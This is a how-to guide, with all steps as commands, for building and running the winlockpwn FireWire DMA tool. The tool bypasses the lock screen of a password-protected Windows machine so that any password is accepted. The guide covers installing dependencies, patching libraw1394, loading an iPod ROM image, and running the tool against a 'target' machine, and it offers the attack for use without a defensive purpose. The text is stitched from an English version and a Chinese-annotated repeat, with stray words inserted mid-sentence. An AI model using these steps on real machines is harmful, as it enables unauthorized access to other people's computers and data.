Breaking Windows with Firewire and Ubuntu

Adam Boileau ( http://www.storm.net.nz/projects/16) recently released source code for a tool that can unlock a password locked Windows machine in seconds. While quite simple to use the documentation is not clear on how exactly it is used or how the parts work. I hope this helps:

These instructions are for Ubuntu 7.10 - the Gutsy Gibbon:

First install the required libraries:

apt-get install libdc1394-13 libraw1394-dev swig

Second download and install Python 2.3:

wget http://www.python.org/ftp/python/2.3.6/Python-2.3.6.tgz
tar xvfz Python-2.3.6.tgz
mv Python-2.3.6 python-2.3
cd python-2.3
./configure
make
sudo make install

This will install python in /usr/local which means you need to update each script to reference this location.

Third, Fixup the libraw1394:

vim /usr/local/include/libraw1394/raw1394.h

search for and comment out the__attribute__ ((deprecated)); and be sure to put an ending semicolon分号 on the previous line

Fourth, download the software from http://www.storm.net.nz/projects/16

wget http://www.storm.net.nz/static/files/pythonraw1394-1.0.tar.gz
tar xvfz pythonraw1394-1.0.tar.gz
cd pythonraw1394
wget http://www.storm.net.nz/static/files/winlockpwn
chmod +x ./winlockpwn
vim Makefile (reference /usr/local instead of /usr for python)
make

Fifth, load the module and set some permissions:

sudo modprobe raw1394
sudo chmod 666 /dev/raw1394

Sixth, plug into the Windows machine

Seventh, load the ipod image to the firewire port

vim romtool (update the location of python to be /usr/local/bin/python)
./romtool -s 0 ipod.csr

Eighth, run businfo to check the port configurations:

vim businfo (update the location of python to be /usr/local/bin/python)
./businfo

At this point you should see two nodes listed. Node 0 is the ipod image that you loaded with romtool顶部. Node 1 is the Windows machine.

Ninth, run the utility:

vim winlockpwn (update the location of python to be /usr/local/bin/python)
./winlockpwn 0 1 1

You can get more information on the winlockpwn parameters by running the command without parameters. The first parameter is the firewire port, the second is the node (in this case the node for Windows) and the third is the type of Windows password screen.

Tenth, login to Windows

Use any password you want...

______________________________________________________________________________________________

Step 1
First we need to install the required libraries:Libraw 1394 v1.3.0

下载libraw1394-1.3.0.tar.gz：http://mirror.anl.gov/pub/linux/libs/ieee1394/
tar xvfz libraw1394-1.3.0.tar.gz
cd libraw1394-1.3.0
./configure
make
make dev
make install

Step 2
Install Swig

下载swig-1.3.34.tar.gz：http://download.chinaunix.net/download.php?id=28589&ResourceID=10064
tar xvfz swig-1.3.34.tar.gz
cd swig-1.3.34
./configure
make
make install

Step 3
Install Python 2.3

下载Python-2.3.6 ：http://www.python.org/ftp/python/2.3.6/
tar xvf Python-2.3.6.tar
mv Python-2.3.6 python-2.3
cd python-2.3
./configure
make
make install

This will install python in /usr/local which means you need to update each script to reference this location.

怎么，这一步报错了吧！去这里看解决办法：http://blog.csdn.net/wangjiannuaa/article/details/6772473

Step 4
search for and comment out the__attribute__ ((deprecated)); and be sure to put an ending semicolon on the previous line

vi /usr/local/include/libraw1394/raw1394.h

Step 5
下载pythonraw1394-1.0.tar.gz：  http://www.breaknenter.org/files/winlockpwn/
tar xvfz pythonraw1394-1.0.tar.gz
cd pythonraw1394

下载winlockpwn：http://www.breaknenter.org/files/winlockpwn/
chmod +x ./winlockpwn
vi Makefile (reference /usr/local instead of /usr for python)
make

Step 6

load the module and set some permissions:

modprobe raw1394
chmod 666 /dev/raw1394

Step 7

Copy libraw1394.so.8 to to /lib:

cd /usr/local/lib/
cp libraw1394.so.8 /lib

Step 8

Plug in the firewire cable into both your backtrack system and the target windows system.

Step 9

run businfo to check the port configurations:
vi businfo (update the location of python to be /usr/local/bin/python)
./businfo

Step 10

vi romtool (update the location of python to be /usr/local/bin/python)
cp libraw1394.so.8 /lib
./romtool -s 0 ipod.csr

Step 11

vi winlockpwn (update the location of python to be /usr/local/bin/python)
./winlockpwn 0 1 3